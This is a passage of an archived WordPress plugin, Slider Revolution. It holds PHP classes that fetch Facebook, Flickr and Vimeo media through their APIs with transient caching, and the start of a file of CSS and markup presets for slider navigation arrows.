QUERY_ERROR = 'fb_error_message'; /** * @var int Transient time in seconds */ private $transient_sec; public function __construct($transient_sec = 1200){ $this->transient_sec = $transient_sec; } /** * @return int */ public function getTransientSec(){ return $this->transient_sec; } /** * @param int $transient_sec */ public function setTransientSec($transient_sec){ $this->transient_sec = $transient_sec; } public function add_actions(){ add_action('init', array(&$this, 'do_init'), 5); add_action('admin_footer', array(&$this, 'footer_js')); add_action('revslider_slider_on_delete_slider', array(&$this, 'on_delete_slider'), 10, 1); } /** * check if we have QUERY_ARG set * try to login the user */ public function do_init(){ // are we on revslider page? if($this->get_val($_GET, 'page') != 'revslider') return; //fb returned error if (isset($_GET[self::QUERY_ERROR])) return; //we need token and slide ID to proceed with saving token if (!isset($_GET[self::QUERY_TOKEN]) || !isset($_GET['id'])) return; $token = $_GET[self::QUERY_TOKEN]; $connectwith = isset($_GET[self::QUERY_CONNECTWITH]) ? $_GET[self::QUERY_CONNECTWITH] : ''; $page_id = isset($_GET[self::QUERY_PAGE_ID]) ? $_GET[self::QUERY_PAGE_ID] : ''; $id = (isset($_GET['id'])) ? $_GET['id'] : ''; $slider = new RevSliderSlider(); $slide = new RevSliderSlide(); $slide->init_by_id($id); $slider_id = $slide->get_slider_id(); if(intval($slider_id) == 0){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->init_by_id($slider_id); if($slider->inited === false){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->set_param(array('source', 'facebook', 'token_source'), 'account'); $slider->set_param(array('source', 'facebook', 'appId'), $token); $slider->set_param(array('source', 'facebook', 'page_id'), $page_id); $slider->set_param(array('source', 'facebook', 'connect_with'), $connectwith); $slider->update_params(array()); //redirect $url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $url = add_query_arg(array(self::QUERY_TOKEN => false, self::QUERY_PAGE_ID => false, self::QUERY_CONNECTWITH => false, self::QUERY_SHOW => 1), $url); wp_redirect($url); exit(); } public function footer_js() { // are we on revslider page? if($this->get_val($_GET, 'page') != 'revslider') return; if(isset($_GET[self::QUERY_SHOW]) || isset($_GET[self::QUERY_ERROR])) { echo ''; } if(isset($_GET[self::QUERY_ERROR])){ $err = __('Facebook API error: ', 'revslider') . esc_html($_GET[self::QUERY_ERROR]); echo ''; } } public static function get_login_url(){ $id = (isset($_GET['id'])) ? $_GET['id'] : ''; $state = base64_encode(admin_url('admin.php?page=revslider&view=slide&id='.$id)); return self::URL_FB_AUTH . '?state=' . $state; } protected function _make_api_call($args = array()){ global $wp_version; $response = wp_remote_post(self::URL_FB_API, array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'body' => $args, 'timeout' => 45 )); if(is_wp_error($response)) { return array( 'error' => true, 'message' => 'Facebook API error: ' . $response->get_error_message(), ); } $responseData = json_decode($response['body'], true); if(empty($responseData)) { return array( 'error' => true, 'message' => 'Facebook API error: Empty response body or wrong data format', ); } return $responseData; } protected function _get_transient_fb_data($requestData){ $transient_name = self::TRANSIENT_PREFIX . $requestData['slider_id'] . '_' . md5(json_encode($requestData)); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))){ return $data; } $responseData = $this->_make_api_call($requestData); //code that use this function do not process errors //return empty array if($responseData['error']){ return array(); } if(isset($responseData['data'])){ set_transient($transient_name, $responseData['data'], $this->transient_sec); return $responseData['data']; } return array(); } /** * Get Photosets List from User * * @param string $access_token page access token * @param string $page_id page id * @return mixed */ public function get_photo_sets($access_token, $page_id){ return $this->_make_api_call(array( 'token' => $access_token, 'page_id' => $page_id, 'action' => 'albums', )); } /** * Get Photosets List from User as Options for Selectbox * * @param string $access_token page access token * @param string $page_id page id * @return mixed options html string | array('error' => true, 'message' => '...'); */ public function get_photo_set_photos_options($access_token, $page_id){ $photo_sets = $this->get_photo_sets($access_token, $page_id); if($photo_sets['error']) return $photo_sets; $return = array(); if(is_array($photo_sets['data'])){ foreach($photo_sets['data'] as $photo_set){ $return[] = '"'; } } return $return; } /** * Get Photoset Photos * * @param mixed $slider_id slider id * @param string $access_token page access token * @param string $album_id Album ID * @param int $item_count items count * @return array */ public function get_photo_set_photos($slider_id, $access_token, $album_id, $item_count = 8){ $requestData = array( 'slider_id' => $slider_id, 'token' => $access_token, 'action' => 'photos', 'album_id' => $album_id, 'limit' => $item_count, ); return $this->_get_transient_fb_data($requestData); } /** * Get Feed * * @param mixed $slider_id slider id * @param string $access_token page access token * @param string $page_id page id * @param int $item_count items count * @return array */ public function get_photo_feed($slider_id, $access_token, $page_id, $item_count = 8){ $requestData = array( 'slider_id' => $slider_id, 'token' => $access_token, 'page_id' => $page_id, 'action' => 'feed', 'limit' => $item_count, ); return $this->_get_transient_fb_data($requestData); } /** * delete slider fb transients upon deletion * * @param $id slider id * @return void */ public function on_delete_slider($id) { global $wpdb; if (empty($id)) return; $prefix = self::TRANSIENT_PREFIX . $id; $wpdb->query($wpdb->prepare("DELETE FROM $wpdb->options WHERE `option_name` LIKE '%s'", '%'.$prefix.'%')); //$wpdb->query($wpdb->prepare("DELETE FROM $wpdb->options WHERE `option_name` LIKE '%%%s%%'", $wpdb->esc_like($prefix))); } }includes/external/flickr.class.php000060400000020632151724235750013275 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if (!defined('ABSPATH')) exit(); /** * Flickr * * with help of the API this class delivers all kind of Images from flickr * * @package socialstreams * @subpackage socialstreams/flickr * @author ThemePunch */ class RevSliderFlickr extends RevSliderFunctions { /** * API key * * @since 1.0.0 * @access private * @var string $api_key flickr API key */ private $api_key; /** * API params * * @since 1.0.0 * @access private * @var array $api_param_defaults Basic params to call with API */ private $api_param_defaults; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Basic URL * * @since 1.0.0 * @access private * @var string $url Url to fetch user from */ private $flickr_url; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key flickr API key. */ public function __construct($api_key, $transient_sec = 1200){ $this->api_key = $api_key; $this->api_param_defaults = array( 'api_key' => $this->api_key, 'format' => 'json', 'nojsoncallback' => 1, ); $this->transient_sec = $transient_sec; } /** * Calls Flicker API with set of params, returns json * * @since 1.0.0 * @param array $params Parameter build for API request */ private function call_flickr_api($params){ //build url $encoded_params = array(); foreach($params as $k => $v){ $encoded_params[] = urlencode($k).'='.urlencode($v); } //call the API and decode the response $url = 'https://api.flickr.com/services/rest/?'.implode('&', $encoded_params); $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $rsp = json_decode(file_get_contents($url)); if(isset($rsp)){ set_transient($transient_name, $rsp, $this->transient_sec); return $rsp; }else{ return ''; } } /** * Get User ID from its URL * * @since 1.0.0 * @param string $user_url URL of the Gallery */ public function get_user_from_url($user_url){ //gallery params $user_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupUser', 'url' => $user_url, ); //set User Url $this->flickr_url = $user_url; //get gallery info $user_info = $this->call_flickr_api($user_params); return $this->get_val($user_info, array('user', 'id'), ''); } /** * Get Group ID from its URL * * @since 1.0.0 * @param string $group_url URL of the Gallery */ public function get_group_from_url($group_url){ //gallery params $group_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupGroup', 'url' => $group_url, ); //set User Url $this->flickr_url = $group_url; //get gallery info $group_info = $this->call_flickr_api($group_params); return $this->get_val($group_info, array('group', 'id'), ''); } /** * Get Public Photos * * @since 1.0.0 * @param string $user_id flicker User id (not name) * @param int $item_count number of photos to pull */ public function get_public_photos($user_id, $item_count = 10){ //public photos params $public_photo_params = $this->api_param_defaults + array( 'method' => 'flickr.people.getPublicPhotos', 'user_id' => $user_id, 'extras' => 'description, license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o', 'per_page'=> $item_count, 'page' => 1 ); //get photo list $public_photos_list = $this->call_flickr_api($public_photo_params); return $this->get_val($public_photos_list, array('photos', 'photo'), ''); } /** * Get Photosets List from User * * @since 1.0.0 * @param string $user_id flicker User id (not name) * @param int $item_count number of photos to pull */ public function get_photo_sets($user_id, $item_count, $current_photoset){ //item count default is 10 //photoset params $photo_set_params = $this->api_param_defaults + array( 'method' => 'flickr.photosets.getList', 'user_id' => $user_id, 'per_page'=> $item_count, 'page' => 1 ); //get photoset list $photo_sets_list = $this->call_flickr_api($photo_set_params); $return = array(); foreach($photo_sets_list->photosets->photoset as $photo_set){ if(empty($photo_set->title->_content)) $photo_set->title->_content = ""; if(empty($photo_set->photos)) $photo_set->photos = 0; $return[] = '"'; } return $return; } /** * Get Photoset Photos * * @since 1.0.0 * @param string $photo_set_id Photoset ID * @param int $item_count number of photos to pull */ public function get_photo_set_photos($photo_set_id,$item_count=10){ //photoset photos params $this->stream = array(); $photo_set_params = $this->api_param_defaults + array( 'method' => 'flickr.photosets.getPhotos', 'photoset_id' => $photo_set_id, 'per_page' => $item_count, 'page' => 1, 'extras' => 'license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o' ); //get photo list $photo_set_photos = $this->call_flickr_api($photo_set_params); return $this->get_val($photo_set_photos, array('photoset', 'photo'), ''); } /** * Get Groop Pool Photos * * @since 1.0.0 * @param string $group_id Photoset ID * @param int $item_count number of photos to pull */ public function get_group_photos($group_id,$item_count=10){ //photoset photos params $group_pool_params = $this->api_param_defaults + array( 'method' => 'flickr.groups.pools.getPhotos', 'group_id' => $group_id, 'per_page' => $item_count, 'page' => 1, 'extras' => 'license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o' ); //get photo list $group_pool_photos = $this->call_flickr_api($group_pool_params); return $this->get_val($group_pool_photos, array('photos', 'photo'), ''); } /** * Get Gallery ID from its URL * * @since 1.0.0 * @param string $gallery_url URL of the Gallery * @param int $item_count number of photos to pull */ public function get_gallery_from_url($gallery_url){ //gallery params $gallery_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupGallery', 'url' => $gallery_url, ); //get gallery info $gallery_info = $this->call_flickr_api($gallery_params); return $this->get_val($gallery_info, array('gallery', 'id'), ''); } /** * Get Gallery Photos * * @since 1.0.0 * @param string $gallery_id flicker Gallery id (not name) * @param int $item_count number of photos to pull */ public function get_gallery_photos($gallery_id,$item_count=10){ //gallery photos params $gallery_photo_params = $this->api_param_defaults + array( 'method' => 'flickr.galleries.getPhotos', 'gallery_id' => $gallery_id, 'extras' => 'description, license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o', 'per_page'=> $item_count, 'page' => 1 ); //get photo list $gallery_photos_list = $this->call_flickr_api($gallery_photo_params); return $this->get_val($gallery_photos_list, array('photos', 'photo'), ''); } } // End Classincludes/external/vimeo.class.php000060400000003465151724235750013147 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); /** * Vimeo * * with help of the API this class delivers all kind of Images/Videos from Vimeo * * @package socialstreams * @subpackage socialstreams/vimeo * @author ThemePunch */ class RevSliderVimeo extends RevSliderFunctions { /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key Youtube API key. */ public function __construct($transient_sec = 1200){ $this->transient_sec = $transient_sec; } /** * Get Vimeo User Videos * * @since 1.0.0 */ public function get_vimeo_videos($type, $value, $elements = 20){ //call the API and decode the response $url = 'https://vimeo.com/api/v2/'; $url .= ($type == 'user') ? $value.'/videos.json' : $type.'/'.$value.'/videos.json'; $transient_name = 'revslider_' . md5($url.$elements); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $elements = intval($elements); $page = 1; $rsp = array(); do { $_rsp = json_decode(wp_remote_fopen($url.'?page='.$page)); if(!empty($_rsp) && is_array($_rsp)) $rsp = array_merge($rsp, $_rsp); $page++; $elements -= 20; } while($elements > 0); set_transient($transient_name, $rsp, $this->transient_sec); return $rsp; } } // End Classincludes/navigations.php000060400000312216151724235750011421 0ustar00 1000, 'handle' => 'hesperiden', 'type' => 'arrows', 'name' => 'Hesperiden', 'css' => ".hesperiden.tparrows {\n\tcursor:pointer;\n\tbackground:##bg-color##;\n\twidth:##bg-size##px;\n\theight:##bg-size##px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n border-radius: 50%;\n}\n.hesperiden.tparrows.rs-touchhover {\n\tbackground:##hover-bg-color##;\n}\n.hesperiden.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:##arrow-size##px;\n\tcolor:##arrow-color##;\n\tdisplay:block;\n\tline-height: ##bg-size##px;\n\ttext-align: center;\n}\n.hesperiden.tparrows.tp-leftarrow:before {\n\tcontent: '##left-icon##';\n margin-left:-3px;\n}\n.hesperiden.tparrows.tp-rightarrow:before {\n\tcontent: '##right-icon##';\n margin-right:-3px;\n}", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bg-color":{"title":"BG-Color","type":"color","data":"rgba(0,0,0,0.5)"},"bg-size":{"title":"BG-Size","type":"custom","data":"40"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"20"},"hover-bg-color":{"title":"Hover-BG-Color","type":"color","data":"#000000"},"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e82c"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e82d"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1002, 'handle' => 'hades', 'type' => 'arrows', 'name' => 'Hades', 'css' => ".hades.tparrows {\n\tcursor:pointer;\n\tbackground:##bg##;\n\twidth:100px;\n\theight:100px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n}\n\n.hades.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:30px;\n\tcolor:##acolor##;\n\tdisplay:block;\n\tline-height: 100px;\n\ttext-align: center;\n transition: background 0.3s, color 0.3s;\n}\n.hades.tparrows.tp-leftarrow:before {\n\tcontent: '##left-icon##';\n}\n.hades.tparrows.tp-rightarrow:before {\n\tcontent: '##right-icon##';\n}\n\n.hades.tparrows.rs-touchhover:before {\n color:##harrow##;\n background:##hbg##;\n }\n.hades .tp-arr-allwrapper {\n position:absolute;\n left:100%;\n top:0px;\n background:#888; \n width:100px;height:100px;\n -webkit-transition: all 0.3s;\n transition: all 0.3s;\n -ms-filter: 'progid:dximagetransform.microsoft.alpha(opacity=0)';\n filter: alpha(opacity=0);\n -moz-opacity: 0.0;\n -khtml-opacity: 0.0;\n opacity: 0.0;\n -webkit-transform: rotatey(-90deg);\n transform: rotatey(-90deg);\n -webkit-transform-origin: 0% 50%;\n transform-origin: 0% 50%;\n}\n.hades.tp-rightarrow .tp-arr-allwrapper {\n left:auto;\n right:100%;\n -webkit-transform-origin: 100% 50%;\n transform-origin: 100% 50%;\n -webkit-transform: rotatey(90deg);\n transform: rotatey(90deg);\n}\n\n.hades:hover .tp-arr-allwrapper {\n -ms-filter: 'progid:dximagetransform.microsoft.alpha(opacity=100)';\n filter: alpha(opacity=100);\n -moz-opacity: 1;\n -khtml-opacity: 1;\n opacity: 1; \n -webkit-transform: rotatey(0deg);\n transform: rotatey(0deg);\n\n }\n \n.hades .tp-arr-iwrapper {\n}\n.hades .tp-arr-imgholder {\n background-size:cover;\n position:absolute;\n top:0px;left:0px;\n width:100%;height:100%;\n}\n.hades .tp-arr-titleholder {\n}\n.hades .tp-arr-subtitleholder {\n}\n", 'markup' => "
            \n\t
            \n
            ", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bg":{"title":"Background","type":"color","data":"rgba(0,0,0,0.25)"},"acolor":{"title":"Arrow","type":"color","data":"#ffffff"},"harrow":{"title":"Hover-Arrow","type":"color","data":"rgba(0,0,0,0.5)"},"hbg":{"title":"Hover-Background","type":"color","data":"#ffffff"},"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e824"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1003, 'handle' => 'ares', 'type' => 'arrows', 'name' => 'Ares', 'css' => ".ares.tparrows {\n\tcursor:pointer;\n\tbackground:##bg-color##;\n\tmin-width:##bg-size##px;\n min-height:##bg-size##px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n border-radius:50%;\n}\n.ares.tparrows.rs-touchhover {\n}\n.ares.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:##arrow-size##px;\n\tcolor:##arrowcolor##;\n\tdisplay:block;\n\tline-height: ##bg-size##px;\n\ttext-align: center;\n -webkit-transition: color 0.3s;\n -moz-transition: color 0.3s;\n transition: color 0.3s;\n z-index:2;\n position:relative;\n}\n.ares.tparrows.tp-leftarrow:before {\n\tcontent: '##left-icon##';\n}\n.ares.tparrows.tp-rightarrow:before {\n\tcontent: '##right-icon##';\n}\n.ares.tparrows.rs-touchhover:before {\n color:##hover-arrow-color##;\n }\n.tp-title-wrap { \n position:absolute;\n z-index:1;\n display:inline-block;\n background:##bg-color##;\n min-height:##bg-size##px;\n line-height:##bg-size##px;\n top:0px;\n margin-left:30px;\n border-radius:0px 30px 30px 0px;\n overflow:hidden;\n -webkit-transition: -webkit-transform 0.3s;\n transition: transform 0.3s;\n transform:scalex(0); \n -webkit-transform:scalex(0); \n transform-origin:0% 50%; \n -webkit-transform-origin:0% 50%;\n}\n .ares.tp-rightarrow .tp-title-wrap { \n right:0px;\n margin-right:30px;margin-left:0px;\n -webkit-transform-origin:100% 50%;\nborder-radius:30px 0px 0px 30px;\n }\n.ares.tparrows.rs-touchhover .tp-title-wrap {\n\ttransform:scalex(1) scaley(1);\n \t-webkit-transform:scalex(1) scaley(1);\n}\n.ares .tp-arr-titleholder {\n position:relative;\n -webkit-transition: -webkit-transform 0.3s;\n transition: transform 0.3s;\n transform:translatex(200px); \n text-transform:uppercase;\n color:##hover-title-color##;\n font-weight:400;\n font-size:14px;\n line-height:60px;\n white-space:nowrap;\n padding:0px 20px;\n margin-left:10px;\n opacity:0;\n}\n\n.ares.tp-rightarrow .tp-arr-titleholder {\n transform:translatex(-200px); \n margin-left:0px; margin-right:10px;\n }\n\n.ares.tparrows.rs-touchhover .tp-arr-titleholder {\n transform:translatex(0px);\n -webkit-transform:translatex(0px);\n transition-delay: 0.1s;\n opacity:1;\n}", 'markup' => "
            \n\t{{title}}\n
            \n", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"bg-color":{"title":"BG-Color","type":"color","data":"#ffffff"},"bg-size":{"title":"Size","type":"custom","data":"60"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"25"},"hover-arrow-color":{"title":"Hover-Arrow","type":"color","data":"#000000"},"hover-title-color":{"title":"Hover-Title","type":"color","data":"#000000"},"arrowcolor":{"title":"Arrow-Color","type":"color","data":"#aaaaaa"},"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e81f"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e81e"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1004, 'handle' => 'hebe', 'type' => 'arrows', 'name' => 'Hebe', 'css' => ".hebe.tparrows {\n cursor:pointer;\n background:##back-color##;\n min-width:##back-size##px;\n min-height:##back-size##px;\n position:absolute;\n display:block;\n z-index:1000;\n}\n.hebe.tparrows.rs-touchhover {\n}\n.hebe.tparrows:before {\n font-family: 'revicons';\n font-size:##arrow-size##px;\n color:##arrow-color##;\n display:block;\n line-height: ##back-size##px;\n text-align: center;\n -webkit-transition: color 0.3s;\n -moz-transition: color 0.3s;\n transition: color 0.3s;\n z-index:2;\n position:relative;\n background:##back-color##;\n min-width:##back-size##px;\n min-height:##back-size##px;\n}\n.hebe.tparrows.tp-leftarrow:before {\n content: '##left-icon##';\n}\n.hebe.tparrows.tp-rightarrow:before {\n content: '##right-icon##';\n}\n.hebe.tparrows.rs-touchhover:before {\n color:#000;\n }\n.tp-title-wrap { \n position:absolute;\n z-index:0;\n display:inline-block;\n background:#000;\n background:##title-wrap-color##;\n min-height:60px;\n line-height:60px;\n top:-10px;\n margin-left:0px;\n -webkit-transition: -webkit-transform 0.3s;\n transition: transform 0.3s;\n transform:scalex(0); \n -webkit-transform:scalex(0); \n transform-origin:0% 50%; \n -webkit-transform-origin:0% 50%;\n}\n .hebe.tp-rightarrow .tp-title-wrap { \n right:0px;\n -webkit-transform-origin:100% 50%;\n }\n.hebe.tparrows.rs-touchhover .tp-title-wrap {\n transform:scalex(1);\n -webkit-transform:scalex(1);\n}\n.hebe .tp-arr-titleholder {\n position:relative;\n text-transform:uppercase;\n color:##title-color##;\n font-weight:600;\n font-size:##title-size##px;\n line-height:##image-size##px;\n white-space:nowrap;\n padding:0px 20px 0px ##image-size##px;\n}\n\n.hebe.tp-rightarrow .tp-arr-titleholder {\n margin-left:0px; \n padding:0px ##image-size##px 0px 20px;\n }\n\n.hebe.tparrows.rs-touchhover .tp-arr-titleholder {\n transform:translatex(0px);\n -webkit-transform:translatex(0px);\n transition-delay: 0.1s;\n opacity:1;\n}\n\n.hebe .tp-arr-imgholder{\n width:##image-size##px;\n height:##image-size##px;\n position:absolute;\n left:100%;\n display:block;\n background-size:cover;\n background-position:center center;\n \t top:0px; right:-##image-size##px;\n }\n.hebe.tp-rightarrow .tp-arr-imgholder{\n right:auto;left:-##image-size##px;\n }", 'markup' => "
            \n\t{{title}}\n \n
            \n", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"back-size":{"title":"BG-Size","type":"custom","data":"70"},"back-color":{"title":"Background","type":"color","data":"#ffffff"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"rgba(0,0,0,0.5)"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"30"},"image-size":{"title":"Image-Size","type":"custom","data":"90"},"title-wrap-color":{"title":"Title-Wrap-BG-Color","type":"color","data":"rgba(0,0,0,0.75)"},"title-color":{"title":"Title-Color","type":"color","data":"#ffffff"},"title-size":{"title":"Title-Size","type":"custom","data":"12"},"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e824"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1005, 'handle' => 'hermes', 'type' => 'arrows', 'name' => 'Hermes', 'css' => ".hermes.tparrows {\n\tcursor:pointer;\n\tbackground:##back-color##;\n\twidth:##width##px;\n\theight:##height##px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n}\n\n.hermes.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:##arrow-size##px;\n\tcolor:##arrow-color##;\n\tdisplay:block;\n\tline-height: ##height##px;\n\ttext-align: center;\n transform:translatex(0px);\n -webkit-transform:translatex(0px);\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n}\n.hermes.tparrows.tp-leftarrow:before {\n\tcontent: '##left-icon##';\n}\n.hermes.tparrows.tp-rightarrow:before {\n\tcontent: '##right-icon##';\n}\n.hermes.tparrows.tp-leftarrow.rs-touchhover:before {\n transform:translatex(-20px);\n -webkit-transform:translatex(-20px);\n opacity:0;\n}\n.hermes.tparrows.tp-rightarrow.rs-touchhover:before {\n transform:translatex(20px);\n -webkit-transform:translatex(20px);\n opacity:0;\n}\n\n.hermes .tp-arr-allwrapper {\n overflow:hidden;\n position:absolute;\n\twidth:##wrapper-width##px;\n height:##wrapper-height##px;\n top:0px;\n left:0px;\n visibility:hidden;\n -webkit-transition: -webkit-transform 0.3s 0.3s;\n transition: transform 0.3s 0.3s;\n -webkit-perspective: 1000px;\n perspective: 1000px;\n }\n.hermes.tp-rightarrow .tp-arr-allwrapper {\n right:0px;left:auto;\n }\n.hermes.tparrows.rs-touchhover .tp-arr-allwrapper {\n visibility:visible;\n }\n.hermes .tp-arr-imgholder {\n width:##wrapper-width##px;position:absolute;\n left:0px;top:0px;height:##height##px;\n transform:translatex(-##wrapper-width##px);\n -webkit-transform:translatex(-##wrapper-width##px);\n transition:all 0.3s;\n transition-delay:0.3s;\n}\n.hermes.tp-rightarrow .tp-arr-imgholder{\n transform:translatex(##wrapper-width##px);\n -webkit-transform:translatex(##wrapper-width##px);\n }\n \n.hermes.tparrows.rs-touchhover .tp-arr-imgholder {\n transform:translatex(0px);\n -webkit-transform:translatex(0px); \n}\n.hermes .tp-arr-titleholder {\n top:##height##px;\n width:##wrapper-width##px;\n text-align:left; \n display:block;\n padding:0px 10px;\n line-height:30px; background:#000;\n background:##title-back-color##;\n color:##title-font-color##;\n font-weight:600; position:absolute;\n font-size:##title-size##px;\n white-space:nowrap;\n letter-spacing:1px;\n -webkit-transition: all 0.3s;\n transition: all 0.3s;\n -webkit-transform: rotatex(-90deg);\n transform: rotatex(-90deg);\n -webkit-transform-origin: 50% 0;\n transform-origin: 50% 0;\n box-sizing:border-box;\n\n}\n.hermes.tparrows.rs-touchhover .tp-arr-titleholder {\n -webkit-transition-delay: 0.6s;\n transition-delay: 0.6s;\n -webkit-transform: rotatex(0deg);\n transform: rotatex(0deg);\n}\n", 'markup' => "
            \n\t
            \n\t
            {{title}}
            \t\n
            ", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"back-color":{"title":"Background","type":"color","data":"rgba(0,0,0,0.5)"},"width":{"title":"Width","type":"custom","data":"30"},"height":{"title":"Height","type":"custom","data":"110"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"15"},"wrapper-height":{"title":"Wrapper-Height","type":"custom","data":"140"},"wrapper-width":{"title":"Wrapper-Width","type":"custom","data":"180"},"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e824"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e825"},"title-size":{"title":"Title-Size","type":"custom","data":"12"},"title-back-color":{"title":"Title-Background","type":"color","data":"rgba(0,0,0,0.75)"},"title-font-color":{"title":"Title-Font-Color","type":"color","data":"#ffffff"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1006, 'handle' => 'custom', 'type' => 'arrows', 'name' => 'Custom', 'css' => ".custom.tparrows {\n\tcursor:pointer;\n\tbackground:#000;\n\tbackground:rgba(0,0,0,0.5);\n\twidth:40px;\n\theight:40px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n}\n.custom.tparrows.rs-touchhover {\n\tbackground:#000;\n}\n.custom.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:15px;\n\tcolor:#fff;\n\tdisplay:block;\n\tline-height: 40px;\n\ttext-align: center;\n}\n.custom.tparrows.tp-leftarrow:before {\n\tcontent: '##left-icon##';\n}\n.custom.tparrows.tp-rightarrow:before {\n\tcontent: '##right-icon##';\n}\n\n", 'markup' => "", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"left-icon":{"title":"Left-Icon","type":"icon","data":"\\\\e824"},"right-icon":{"title":"Right-Icon","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1007, 'handle' => 'hephaistos', 'type' => 'arrows', 'name' => 'Hephaistos', 'css' => ".hephaistos.tparrows {\n\tcursor:pointer;\n\tbackground:##back-color##;\n\twidth:##back-size##px;\n\theight:##back-size##px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n border-radius:50%;\n}\n.hephaistos.tparrows.rs-touchhover {\n\tbackground:##back-hover##;\n}\n.hephaistos.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:18px;\n\tcolor:##arrow-color##;\n\tdisplay:block;\n\tline-height: ##back-size##px;\n\ttext-align: center;\n}\n.hephaistos.tparrows.tp-leftarrow:before {\n\tcontent: '##left-arrow##';\n margin-left:-2px;\n \n}\n.hephaistos.tparrows.tp-rightarrow:before {\n\tcontent: '##right-arrow##';\n margin-right:-2px;\n}\n\n", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"back-color":{"title":"Background","type":"color","data":"rgba(0,0,0,0.5)"},"back-size":{"title":"BG-Size","type":"custom","data":"40"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"back-hover":{"title":"Hover-Background","type":"color","data":"#000000"},"left-arrow":{"title":"Left-Arrow","type":"icon","data":"\\\\e82c"},"right-arrow":{"title":"Right-Arrow","type":"icon","data":"\\\\e82d"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1008, 'handle' => 'persephone', 'type' => 'arrows', 'name' => 'Persephone', 'css' => ".persephone.tparrows {\n\tcursor:pointer;\n\tbackground:##back-color##;\n\twidth:##back-size##px;\n\theight:##back-size##px;\n\tposition:absolute;\n\tdisplay:block;\n\tz-index:1000;\n border:1px solid ##border-rgba##;\n}\n.persephone.tparrows.rs-touchhover {\n\tbackground:##back-hover##;\n}\n.persephone.tparrows:before {\n\tfont-family: 'revicons';\n\tfont-size:##arrow-size##px;\n\tcolor: 